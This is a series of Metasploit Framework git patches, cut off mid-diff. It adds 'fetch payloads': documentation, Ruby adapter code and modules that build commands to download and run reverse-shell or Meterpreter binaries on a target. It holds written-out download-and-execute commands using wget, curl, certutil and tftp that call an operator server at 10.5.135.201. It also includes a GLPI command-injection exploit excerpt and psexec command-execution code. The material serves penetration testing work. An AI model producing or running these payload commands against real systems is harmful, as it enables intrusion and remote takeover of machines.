Thu, 18 May 2023 10:24:47 +0100 Subject: [PATCH 142/415] Fix crash when running a module through socks 4a proxy --- Gemfile.lock | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Gemfile.lock b/Gemfile.lock index d31aa0cc81786..b84c214107641 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -384,7 +384,7 @@ GEM metasm rex-core rex-text - rex-socket (0.1.49) + rex-socket (0.1.51) rex-core rex-sslscan (0.1.9) rex-core From 39f4ccd9f956849d380adc620bf0eeb886560079 Mon Sep 17 00:00:00 2001 From: adfoster-r7 Date: Thu, 18 May 2023 10:28:17 +0100 Subject: [PATCH 143/415] Fix error when msfconsole opens browser links without a display present --- Gemfile.lock | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Gemfile.lock b/Gemfile.lock index d31aa0cc81786..bdf0bd3fece6e 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -354,7 +354,7 @@ GEM rex-core rex-struct2 rex-text - rex-core (0.1.30) + rex-core (0.1.31) rex-encoder (0.1.6) metasm rex-arch From 548a2d7ab4a8fbf3c9faff6f589e67349e2c2b64 Mon Sep 17 00:00:00 2001 From: bwatters Date: Wed, 15 Mar 2023 19:19:19 -0500 Subject: [PATCH 144/415] Add fetch payloads for Windows and Linux x64 --- .../How-to-use-fetch-payloads.md | 333 +++++++++++++++++ docs/navigation.rb | 4 + .../core/exploit/remote/smb/client/psexec.rb | 4 +- lib/msf/core/payload/adapter/fetch.rb | 342 ++++++++++++++++++ lib/msf/core/payload/adapter/fetch/http.rb | 23 ++ lib/msf/core/payload/adapter/fetch/https.rb | 22 ++ .../payload/adapter/fetch/linux_options.rb | 13 + .../core/payload/adapter/fetch/server/http.rb | 24 ++ .../payload/adapter/fetch/server/https.rb | 153 ++++++++ .../core/payload/adapter/fetch/server/tftp.rb | 36 ++ lib/msf/core/payload/adapter/fetch/tftp.rb | 22 ++ .../payload/adapter/fetch/windows_options.rb | 13 + .../payload/windows/x64/reverse_http_x64.rb | 2 +- .../linux/http/glpi_htmlawed_php_injection.rb | 23 +- modules/exploits/multi/ssh/sshexec.rb | 13 +- .../payloads/adapters/cmd/linux/http/x64.rb | 25 ++ .../payloads/adapters/cmd/linux/https/x64.rb | 25 ++ .../payloads/adapters/cmd/linux/tftp/x64.rb | 25 ++ .../payloads/adapters/cmd/windows/http/x64.rb | 25 ++ .../adapters/cmd/windows/https/x64.rb | 25 ++ .../payloads/adapters/cmd/windows/tftp/x64.rb | 25 ++ spec/modules/payloads_spec.rb | 48 +++ 22 files changed, 1211 insertions(+), 14 deletions(-) create mode 100644 docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md create mode 100644 lib/msf/core/payload/adapter/fetch.rb create mode 100644 lib/msf/core/payload/adapter/fetch/http.rb create mode 100644 lib/msf/core/payload/adapter/fetch/https.rb create mode 100644 lib/msf/core/payload/adapter/fetch/linux_options.rb create mode 100644 lib/msf/core/payload/adapter/fetch/server/http.rb create mode 100644 lib/msf/core/payload/adapter/fetch/server/https.rb create mode 100644 lib/msf/core/payload/adapter/fetch/server/tftp.rb create mode 100644 lib/msf/core/payload/adapter/fetch/tftp.rb create mode 100644 lib/msf/core/payload/adapter/fetch/windows_options.rb create mode 100644 modules/payloads/adapters/cmd/linux/http/x64.rb create mode 100644 modules/payloads/adapters/cmd/linux/https/x64.rb create mode 100644 modules/payloads/adapters/cmd/linux/tftp/x64.rb create mode 100644 modules/payloads/adapters/cmd/windows/http/x64.rb create mode 100644 modules/payloads/adapters/cmd/windows/https/x64.rb create mode 100644 modules/payloads/adapters/cmd/windows/tftp/x64.rb diff --git a/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md b/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md new file mode 100644 index 0000000000000..2a0efdc598625 --- /dev/null +++ b/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md @@ -0,0 +1,333 @@ +# Fetch Payloads + +## What Are Fetch Payloads? +Fetch payloads are adapted, command-based payloads use network-enabled binaries on a remote host to download binary +payloads to that remote host. Adapted payloads are just payloads where we have bolted an extra feature on top of +existing payloads to modify the behavior. In this case, you can still use all your favorite binary payloads and +transports, but we've added an optional fetch payload adapter on top to stage the payloads using a networking binary and +server. They function similarly to some Command Stagers, but are based on the payload side rather than the exploit side +to simplify integration and portability. Fetch payloads are a fast, easy way to get a session on a target that has a +command injection or code execution vulnerability *and* a known binary with the ability to download and store +a file. + +## Terminology +In the following documentation, it is useful to agree on certain terms to use so we don't get confused or confusing. +`Fetch Payload` - The command to execute on the remote host to retrieve and execute the `Served Payload` +`Fetch Binary` - The binary we are using on the remote host to download the Served Payload. Examples might be WGET, +cURL, or Certutil. +`Fetch Protocol` - The protocol used to download the served payload, for example HTTP, HTTPS or TFTP. +`Fetch Listener` - The server hosting the served payload. +`Fetch Handler` - The same as `Fetch Listener` +`Served Payload` - The underlying payload we want to execute. We also might call this the `Adapted Payload`. +`Served Payload Handler` - The handler for the served payload. This is just a standard payload like +`meterpreter/reverse_tcp` or `shell_reverse_tcp`. + +## Organization +Unlike Command Stagers which are organized by binary, Fetch Payloads are organized by server. Currently, we support +HTTP, HTTPS, and TFTP servers. Once you select a fetch payload, you can select the binary you'd like to run on the +remote host to download the served payload prior to execution. + +Here is the naming convention for fetch payloads: +`///served_payload` +For example: +`cmd/linux/https/x64/meterpreter/reverse_tcp` Will do four things: +1) Create a `linux/x64/meterpreter/reverse_tcp` elf binary to be the served payload. +2) Serve the above served payload on an HTTPS server +3) Start a served payload handler for the served payload to call back to +4) Generate a command to execute on a remote host that will download the served payload and run it. + + +## A Simple Stand-Alone Example +The fastest way to understand Fetch Payloads is to use them and examine the output. For example, let's assume a Linux +target with the ability to connect back to us with an HTTP connection and a command execution vulnerability. +First, let's look at the payload in isolation: +```msf +msf6 exploit(multi/ssh/sshexec) > use payload/cmd/linux/http/x64/meterpreter/reverse_tcp +msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > show options + +Module options (payload/cmd/linux/http/x64/meterpreter/reverse_tcp): + +Name Current Setting Required Description + ---- --------------- -------- ----------- +FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) +FETCH_FILENAME YXeSdwsoEfOH no Name to use on remote system when storing payload +FETCH_SRVHOST 0.0.0.0 yes Local IP to use for serving payload +FETCH_SRVPORT 8080 yes Local port to use for serving payload +FETCH_URIPATH no Local URI to use for serving payload +FETCH_WRITABLE_DIR yes Remote writable dir to store payload +LHOST yes The listen address (an interface may be specified) +LPORT 4444 yes The listen port + + +View the full module info with the info, or info -d command. + +msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > +``` + +### Options +`FETCH_COMMAND` is the binary we wish to run on the remote host to download the adapted payload. Currently, the +supported options are `CURL FTP TFTP TNFTP WGET` on Linux hosts and `CURL TFTP CERTUTIL` on Windows hosts. We'll get +into more details on the binaries later. +`FETCH_FILENAME` is the name you'd like the executable payload saved as on the remote host. This option is not +supported by every binary and must end in `.exe` on Windows hosts. The default value is random. +`FETCH_SRVHOST` is the IP where the server will listen. +`FETCH_SRVPORT` is the port where the server will listen. +`FETCH_URIPATH` is the URI corresponding to the payload file. The default value is deterministic based on the +underlying payload so a payload created in msfvenom will match a listener started in Framework assuming the underlying +served payload is the same. +`FETCH_WRITABLE_DIR` is the directory on the remote host where we'd like to store the served payload prior to execution. +This value is not supported by all binaries. If you set this value and it is not supported, it will generate an error. + +The remaining options will be the options available to you in the served payload; in this case our served payload is +`linux/x64/meterpreter/reverse_tcp` so our only added options are `LHOST` and `LPORT`. If we had selected a different +payload, we would see different options. + +### Generating the Fetch Payload +```msf +msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_COMMAND WGET +FETCH_COMMAND => WGET +msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVHOST 10.5.135.201 +FETCH_SRVHOST => 10.5.135.201 +msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVPORT 8000 +FETCH_SRVPORT => 8000 +msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LHOST 10.5.135.201 +LHOST => 10.5.135.201 +msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LPORT 4567 +LPORT => 4567 +msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > generate -f raw +wget -qO ./YXeSdwsoEfOH http://10.5.135.201:8000/3cP1jDrJ3uWM1WrsRx3HTw; chmod +x ./YXeSdwsoEfOH; ./YXeSdwsoEfOH & +msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > +``` + +You can see the fetch payload generated: +`wget -qO ./YXeSdwsoEfOH http://10.5.135.201:8000/3cP1jDrJ3uWM1WrsRx3HTw; chmod +x ./YXeSdwsoEfOH; ./YXeSdwsoEfOH &` +This command downloads the served payload, marks it as executable, and then executes it on the remote host. + +### Starting the Fetch Server +When you start the `Fetch Handler`, it starts both the server hosting the binary payload *and* the listener for the +served payload. With `verbose` set to `true`, you can see both the Fetch Handler and the Served Payload Handler are +started: +```msf +msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > to_handler +[*] wget -qO ./YBybOrAmkV http://10.5.135.201:8000/3cP1jDrJ3uWM1WrsRx3HTw; chmod +x ./YBybOrAmkV; ./YBybOrAmkV & +[*] Payload Handler Started as Job 0 +[*] Fetch Handler listening on 10.5.135.201:8000 +[*] http server started +[*] Started reverse TCP handler on 10.5.135.201:4567 +``` + +### Fetch Handlers and Served Payload Handlers +The Fetch Handler is tracked with the Served Payload Handler, so you will only see the Served Payload Handler under +`Jobs`, even though the Fetch Handler is listening: +```msf +msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -l + +Jobs +==== + + Id Name Payload Payload opts + -- ---- ------- ------------ + 0 Exploit: multi/handler cmd/linux/http/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4567 + +msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000 +[*] exec: netstat -ant | grep 8000 + +tcp 0 0 10.5.135.201:8000 0.0.0.0:* LISTEN + +``` +Killing the Served Payload handler will kill the Fetch Handler as well: +```msf +msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -k 0 +[*] Stopping the following job(s): 0 +[*] Stopping job 0 +msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000 +[*] exec: netstat -ant | grep 8000 + +msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > +``` + +## Using Fetch Payloads on the Fly +One really nice thing about Fetch Payloads is that it gives you the ability to execute a binary payload very quickly, +without relying on a session in framework or having to get a payload on target. If you have a shell session or even a +really odd situation where you can execute commands, you can get a session in framework quickly without having to upload +a payload manually. Just follow the steps above, and run the provided command. Right now, the only thing we serve are +Framework payloads, but in the future, expanding to serve and execute any executable binary would be relatively trivial. + +## Using it in an exploit +Using Fetch Payloads is no different than using any other command payload. First, give users access to the Fetch +payloads for a given platform by adding a target that supports `ARCH_CMD` and the desired platform, either `windows` or +`linux`. Once the target has been added, you can get access to the command by invoking `payload.encoded` and use it as +the command to execute on the remote target. + +### Example paired with CmdStager +There is likely to be some overlap between fetch payloads and command stagers. Let's talk briefly about how to support +both in an exploit. Please see the documentation on Command Stagers for required imports and specifics for command +stagers. in this case, I'm only documenting the changes to make so that fetch payloads will work alongside command +stagers or to use fetch payloads in the style of command stagers, which I suggest you do. + +In this case, I've modified the code provided in the command stager documentation to support both linux and unix command +payloads. All I did was give an array value for the `Platform` value and change the`Type` to something more generic: +``` ruby +'Targets' => + [ + [ 'Linux Command', + { + 'Arch' => [ ARCH_CMD ], + 'Platform' => [ 'unix', 'linux' ], + 'Type' => :nix_cmd + } + ] + ] +``` + +For the `execute_command` method, nothing changes: + +``` ruby +def execute_command(cmd, _opts = {}) +populate_values if @sid.nil? || @token.nil? +uri = datastore['URIPATH'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php' + + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri), + 'cookie' => 'sid=' + @sid, + 'ctype' => 'application/x-www-form-urlencoded', + 'encode_params' => true, + 'vars_post' => { + 'token' => @token, + 'text' => cmd, + 'hhook' => 'exec', + 'sid' => @sid + } + }) +end +``` + +The only change in the exploit method is the use of the more generic `Type` value in the case statement. Nothing else +needs to change. + +``` ruby + def exploit + print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") + case target['Type'] + when :nix_cmd + execute_command(payload.encoded) + when :linux_dropper + execute_cmdstager + end + end +``` + +If you have an exploit that already supports Unix Command payloads and you'd like it to support Linux Command payloads +like Fetch Payloads, you can simply add the `linux` value to the platform array: + +``` ruby +'Nix Command', + { + 'Platform' => [ 'unix', 'linux' ], + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd, + } +``` + +## Supported Commands +### Windows And Linux Both +#### `CURL` +cURL comes pre-installed on Windows 10 and 11, and it is incredibly common on linux platforms and the options are very +standardized across releases and platforms. This makes cURL a good default choice for both Linux and Windows +targets. All options and server protocol types are supported by the cURL command. + +#### `TFTP` +The TFTP binary is useful only in edge cases because of a long list of limitations: +1) It is a Windows feature, but it is turned off by default on Windows Vista and later. +2) While you are likely to find it on Linux and Unix hosts, the options are not standard across releases. +3) The TFTP binary included in many Linux systems and all Windows systems does not allow for the port to be configured, +nor does it allow for the destination filename to be configured, so `FETCH_SRVPORT` must always be set to 69 and +`FETCH_WRITABLE_DIR` and `FETCH_FILENAME` must be empty. Listening on port 69 in Framework can be problematic, so I +suggest that you use the advanced option `FetchListenerBindPort` to start the server on a different port and redirect +the connection with a tool like iptables to a high port. +For example, if you are on a linux host with iptables, you can execute the following commands to redirect a connection +on UDP port 69 to UDP port 3069: +`sudo iptables -t nat -I PREROUTING -p udp --dport 69 -j REDIRECT --to-ports 3069` +`sudo iptables -t nat -I OUTPUT -p udp -d 127.0.0.1 --dport 69 -j REDIRECT --to-ports 3069` +Then, you can set `FetchListenerBindPort` to 3069 and get the callback correctly. +4) Because tftp is a udp-based protocol and because od the implementation of the server within Framework, each time you +start a tftp fetch handler, a new service will start: +```msf +msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs + +Jobs +==== + + Id Name Payload Payload opts + -- ---- ------- ------------ + 2 Exploit: multi/handler cmd/windows/tftp/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4444 + +msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 4445 +LPORT => 4445 +msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler + +[*] Command to run on remote host: curl -so plEYxIdBQna.exe tftp://10.5.135.201:8080/test1 & start /B plEYxIdBQna.exe +[*] Payload Handler Started as Job 4 + +[*] starting tftpserver on 10.5.135.201:8080 +[*] Started reverse TCP handler on 10.5.135.201:4445 +msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs + +Jobs +==== + + Id Name Payload Payload opts + -- ---- ------- ------------ + 2 Exploit: multi/handler cmd/windows/tftp/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4444 + 4 Exploit: multi/handler cmd/windows/tftp/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4445 + +msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080 +[*] exec: netstat -an | grep 8080 + +udp 0 0 10.5.135.201:8080 0.0.0.0:* +udp 0 0 10.5.135.201:8080 0.0.0.0:* +msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set FETCH_URIPATH test4 +FETCH_URIPATH => test4 +msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 8547 +LPORT => 8547 +msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler + +[*] Command to run on remote host: curl -so DOjmRoCOSMn.exe tftp://10.5.135.201:8080/test4 & start /B DOjmRoCOSMn.exe +[*] Payload Handler Started as Job 5 + +[*] starting tftpserver on 10.5.135.201:8080 +[*] Started reverse TCP handler on 10.5.135.201:8547 +msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080 +[*] exec: netstat -an | grep 8080 + +udp 0 0 10.5.135.201:8080 0.0.0.0:* +udp 0 0 10.5.135.201:8080 0.0.0.0:* +udp 0 0 10.5.135.201:8080 0.0.0.0:* + +``` +There is nothing to stop you from creating a race condition by starting multiple tftp servers with the same IP, port, +and `FETCH_URI` value but serving different payloads. This will result in a race condition where the payload served is +non-deterministic. + + +### Windows Only +#### `Certutil` +Certutil is a great choice for Windows targets- it is likely to be present on most recent releases of Windows and is +highly configurable. The one troublesome aspect is that there is no insecure mode for Certutil, so if you are using +Certutil with the HTTPS protocol, the certificate must be correct and checked. It supports `HTTP` and `HTTPS` +protocols. + +### Linux Only +#### `FTP` +FTP is an old but useful binary. While we support using the FTP binary, we do not have an FTP server. Modern releases +of FTP support both HTTP and HTTPS protocols. Unfortunately, we only support these modern versions of inline FTP, so it +may not be appropriate for older systems. + +#### `TNFTP` +TNFTP (not to be confused with TFTP) is a newer version of FTP. It is exactly the same as modern FTP, but sometimes both the legacy FTP and TNFTP are +present on a system, so the command will be `tnftp` rather than `ftp`. + +#### WGET +WGET is likely the first choice for a linux-only target. It supports both HTTPS and HTTP and all Fetch payload options. +It is ubiquitous on Linux hosts and very standard, making it an excellent choice. \ No newline at end of file diff --git a/docs/navigation.rb b/docs/navigation.rb index 0eec8643f4ae5..d20bbba9ab50e 100644 --- a/docs/navigation.rb +++ b/docs/navigation.rb @@ -526,6 +526,10 @@ def without_prefix(prefix) { path: 'How-to-use-command-stagers.md' }, + { + path: 'How-to-use-fetch-payloads.md', + title: 'How to use Fetch Payloads' + }, { old_wiki_path: 'How-to-write-a-check()-method.md', path: 'How-to-write-a-check-method.md' diff --git a/lib/msf/core/exploit/remote/smb/client/psexec.rb b/lib/msf/core/exploit/remote/smb/client/psexec.rb index d74ddd53aac26..79fa58a0ba20f 100644 --- a/lib/msf/core/exploit/remote/smb/client/psexec.rb +++ b/lib/msf/core/exploit/remote/smb/client/psexec.rb @@ -223,7 +223,6 @@ def execute_command_payload(smbshare) text = "\\Windows\\Temp\\#{Rex::Text.rand_text_alpha(8..16)}.txt" bat = "\\Windows\\Temp\\#{Rex::Text.rand_text_alpha(8..16)}.bat" command = payload.encoded - output = execute_command_with_output(text, bat, command, smbshare, datastore['RHOST'], delay: datastore['CMD::DELAY']) unless output.nil? @@ -242,8 +241,9 @@ def execute_command_payload(smbshare) def execute_command(text, bat, cmd) # Try and execute the provided command + cmd = cmd.gsub('&', '^&') execute = "%COMSPEC% /C echo #{cmd} ^> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}" - vprint_status("Executing the command...") + vprint_status("Executing the command: #{execute}") begin return psexec(execute) rescue Rex::Proto::DCERPC::Exceptions::Error, Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb new file mode 100644 index 0000000000000..68118208e2496 --- /dev/null +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -0,0 +1,342 @@ +module Msf::Payload::Adapter::Fetch + + def initialize(*args) + super + register_options( + [ + Msf::OptBool.new('FETCH_DELETE', [true, 'Attempt to delete the binary after execution', false]), + Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces.', Rex::Text.rand_text_alpha(rand(8..12))], regex:/^[\S]*$/), + Msf::OptPort.new('FETCH_SRVPORT', [true, 'Local port to use for serving payload', 8080]), + Msf::OptAddressLocal.new('FETCH_SRVHOST', [ true, 'Local IP to use for serving payload', "0.0.0.0"]), + Msf::OptString.new('FETCH_URIPATH', [ false, 'Local URI to use for serving payload', '']), + Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces.', ''], regex:/^[\S]*$/) + ] + ) + register_advanced_options( + [ + Msf::OptAddress.new('FetchListenerBindAddress', [ false, 'The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST']), + Msf::OptPort.new('FetchListenerBindPort', [false, 'The port to bind to if different from FETCH_SRVPORT']), + Msf::OptBool.new('FetchHandlerDisable', [true, 'Disable fetch handler', false]), + Msf::OptString.new('FetchServerName', [true, 'Fetch Server Name', 'Apache']) + ] + ) + @delete_resource = true + @fetch_service = nil + @myresources = [] + @srvexe = '' + @remote_destination_win = nil + @remote_destination_nix = nil + @windows = nil + + end + + def check_srvhost + if Rex::Socket.is_ip_addr?(srvhost) && Rex::Socket.addr_atoi(srvhost) == 0 + raise ArgumentError, 'You must set FETCH_SRVHOST to a routable IP' + end + end + + def compatible?(mod) + if mod.type == Msf::MODULE_PAYLOAD && (mod.class.const_defined?(:CachedSize) && mod.class::CachedSize != :dynamic) && (mod.class::CachedSize >= 120_000) # echo does not have an unlimited amount of space + return false + end + super + end + + + # If no fetch URL is provided, we generate one based off the underlying payload data + # This is because if we use a randomly-generated URI, the URI generated by venom and + # Framework will not match. This way, we can build a payload in venom and a listener + # in Framework, and if the underlying payload type/host/port are the same, the URI + # will be, too. + # + def default_srvuri + # If we're in framework, payload is in datastore; msfvenom has it in refname + payload_name = datastore['payload'] ||= refname + decoded_uri = payload_name.dup + # there may be no transport, so leave the connection string off if that's the case + netloc = '' + if module_info['ConnectionType'].upcase == 'REVERSE' || module_info['ConnectionType'].upcase == 'TUNNEL' + netloc << datastore['LHOST'] unless datastore['LHOST'].blank? + unless datastore['LPORT'].blank? + if Rex::Socket.is_ipv6?(netloc) + netloc = "[#{netloc}]:#{datastore['LPORT']}" + else + netloc = "#{netloc}:#{datastore['LPORT']}" + end + end + elsif module_info['ConnectionType'].upcase == 'BIND' + netloc << datastore['LHOST'] unless datastore['LHOST'].blank? + unless datastore['RPORT'].blank? + if Rex::Socket.is_ipv6?(netloc) + netloc = "[#{netloc}]:#{datastore['RPORT']}" + else + netloc = "#{netloc}:#{datastore['RPORT']}" + end + end + end + decoded_uri << ";#{netloc}" + Base64.urlsafe_encode64(OpenSSL::Digest::MD5.new(decoded_uri).digest, padding: false) + end + + def download_uri + "#{srvnetloc}/#{srvuri}" + end + + def fetch_bindhost + datastore['FetchListenerBindAddress'].blank? ? srvhost : datastore['FetchListenerBindAddress'] + end + + def fetch_bindport + datastore['FetchListenerBindPort'].blank? ? srvport : datastore['FetchListenerBindPort'] + end + + def generate(opts = {}) + opts[:arch] ||= module_info['AdaptedArch'] + opts[:code] = super + check_srvhost + @srvexe = generate_payload_exe(opts) + cmd = generate_fetch_commands + vprint_status("Command to run on remote host: #{cmd}") + cmd + end + + def generate_fetch_commands + # TODO: Make a check method that determines if we support a platform/server/command combination + # + case datastore['FETCH_COMMAND'].upcase + when 'FTP' + return _generate_ftp_command + when 'TNFTP' + return _generate_tnftp_command + when 'WGET' + return _generate_wget_command + when 'CURL' + return _generate_curl_command + when 'TFTP' + return _generate_tftp_command + when 'CERTUTIL' + return _generate_certutil_command + else + fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') + end + end + + def generate_stage(opts = {}) + opts[:arch] ||= module_info['AdaptedArch'] + super + end + + def generate_payload_uuid(conf = {}) + conf[:arch] ||= module_info['AdaptedArch'] + conf[:platform] ||= module_info['AdaptedPlatform'] + super + end + + def handle_connection(conn, opts = {}) + opts[:arch] ||= module_info['AdaptedArch'] + super + end + + def srvhost + datastore['FETCH_SRVHOST'] + end + + def srvnetloc + netloc = srvhost + if Rex::Socket.is_ipv6?(netloc) + netloc = "[#{netloc}]:#{srvport}" + else + netloc = "#{netloc}:#{srvport}" + end + netloc + end + + def srvport + datastore['FETCH_SRVPORT'] + end + + def srvuri + return datastore['FETCH_URIPATH'] unless datastore['FETCH_URIPATH'].blank? + default_srvuri + end + + def srvname + datastore['FetchServerName'] + end + + def windows? + return @windows unless @windows.nil? + @windows = platform.platforms.first == Msf::Module::Platform::Windows + @windows + end + + def _check_tftp_port + # Most tftp clients do not have configurable ports + if datastore['FETCH_SRVPORT'] != 69 && datastore['FetchListenerBindPort'].blank? + print_error('The TFTP client can only connect to port 69; to start the server on a different port use FetchListenerBindPort and redirect the connection.') + fail_with(Msf::Module::Failure::BadConfig, 'FETCH_SRVPORT must be set to 69 when using the tftp client') + end + end + + def _check_tftp_file + # Older Linux tftp clients do not support saving the file under a different name + unless datastore['FETCH_WRITABLE_DIR'].blank? && datastore['FETCH_FILENAME'].blank? + print_error('The Linux TFTP client does not support saving a file under a different name than the URI.') + fail_with(Msf::Module::Failure::BadConfig, 'FETCH_WRITABLE_DIR and FETCH_FILENAME must be blank when using the tftp client') + end + end + + # copied from https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/remote/socket_server.rb + def _determine_server_comm(ip, srv_comm = datastore['ListenerComm'].to_s) + comm = nil + + case srv_comm + when 'local' + comm = ::Rex::Socket::Comm::Local + when /\A-?[0-9]+\Z/ + comm = framework.sessions.get(srv_comm.to_i) + raise(RuntimeError, "Socket Server Comm (Session #{srv_comm}) does not exist") unless comm + raise(RuntimeError, "Socket Server Comm (Session #{srv_comm}) does not implement Rex::Socket::Comm") unless comm.is_a? ::Rex::Socket::Comm + when nil, '' + unless ip.nil? + comm = Rex::Socket::SwitchBoard.best_comm(ip) + end + else + raise(RuntimeError, "SocketServer Comm '#{srv_comm}' is invalid") + end + + comm || ::Rex::Socket::Comm::Local + end + + def _execute_add + return _execute_win if windows? + return _execute_nix + end + + def _execute_win + cmds = " & start /B #{_remote_destination_win}" + cmds << " & del #{_remote_destination_win}" if datastore['FETCH_DELETE'] + cmds + end + + def _execute_nix + cmds = "; chmod +x #{_remote_destination_nix}" + cmds << "; #{_remote_destination_nix} &" + cmds << ";rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE'] + cmds + end + + def _generate_certutil_command + case fetch_protocol + when 'HTTP' + cmd = "certutil -urlcache -f http://#{download_uri} #{_remote_destination}" + when 'HTTPS' + # I don't think there is a way to disable cert check in certutil.... + print_error('CERTUTIL binary does not support insecure mode') + fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using CERTUTIL') + cmd = "certutil -urlcache -f https://#{download_uri} #{_remote_destination}" + else + fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') + end + cmd + _execute_add + end + + def _generate_curl_command + case fetch_protocol + when 'HTTP' + cmd = "curl -so #{_remote_destination} http://#{download_uri}" + when 'HTTPS' + cmd = "curl -sko #{_remote_destination} https://#{download_uri}" + when 'TFTP' + cmd = "curl -so #{_remote_destination} tftp://#{download_uri}" + else + fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') + end + cmd + _execute_add + end + + + def _generate_ftp_command + case fetch_protocol + when 'FTP' + cmd = "ftp -Vo #{_remote_destination_nix} ftp://#{download_uri}#{_execute_nix}" + when 'HTTP' + cmd = "ftp -Vo #{_remote_destination_nix} http://#{download_uri}#{_execute_nix}" + when 'HTTPS' + cmd = "ftp -Vo #{_remote_destination_nix} https://#{download_uri}#{_execute_nix}" + else + fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') + end + end + + def _generate_tftp_command + _check_tftp_port + case fetch_protocol + when 'TFTP' + if windows? + cmd = "tftp -i #{srvhost} GET #{srvuri} #{_remote_destination} #{_execute_win}" + else + _check_tftp_file + cmd = "(echo binary ; echo get #{srvuri} ) | tftp #{srvhost}; chmod +x ./#{srvuri}; ./#{srvuri} &" + end + else + fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') + end + cmd + end + + def _generate_tnftp_command + case fetch_protocol + when 'FTP' + cmd = "tnftp -Vo #{_remote_destination_nix} ftp://#{download_uri}#{_execute_nix}" + when 'HTTP' + cmd = "tnftp -Vo #{_remote_destination_nix} http://#{download_uri}#{_execute_nix}" + when 'HTTPS' + cmd = "tnftp -Vo #{_remote_destination_nix} https://#{download_uri}#{_execute_nix}" + else + fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') + end + end + + def _generate_wget_command + case fetch_protocol + when 'HTTPS' + cmd = "wget -qO #{_remote_destination} --no-check-certificate https://#{download_uri}" + when 'HTTP' + cmd = "wget -qO #{_remote_destination} http://#{download_uri}" + else + fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') + end + cmd + _execute_add + end + + def _remote_destination + return _remote_destination_win if windows? + return _remote_destination_nix + end + + def _remote_destination_nix + return @remote_destination_nix unless @remote_destination_nix.nil? + writable_dir = datastore['FETCH_WRITABLE_DIR'] + writable_dir = '.' if writable_dir.blank? + writable_dir += '/' unless writable_dir[-1] == '/' + payload_filename = datastore['FETCH_FILENAME'] + payload_filename = srvuri if payload_filename.blank? + payload_path = writable_dir + payload_filename + @remote_destination_nix = payload_path + @remote_destination_nix + end + + def _remote_destination_win + return @remote_destination_win unless @remote_destination_win.nil? + writable_dir = datastore['FETCH_WRITABLE_DIR'] + writable_dir += '\\' unless writable_dir.blank? || writable_dir[-1] == '\\' + payload_filename = datastore['FETCH_FILENAME'] + payload_filename = srvuri if payload_filename.blank? + payload_path = writable_dir + payload_filename + payload_path = payload_path + '.exe' unless payload_path[-4..-1] == '.exe' + @remote_destination_win = payload_path + @remote_destination_win + end +end \ No newline at end of file diff --git a/lib/msf/core/payload/adapter/fetch/http.rb b/lib/msf/core/payload/adapter/fetch/http.rb new file mode 100644 index 0000000000000..6f2eecc7f8bd6 --- /dev/null +++ b/lib/msf/core/payload/adapter/fetch/http.rb @@ -0,0 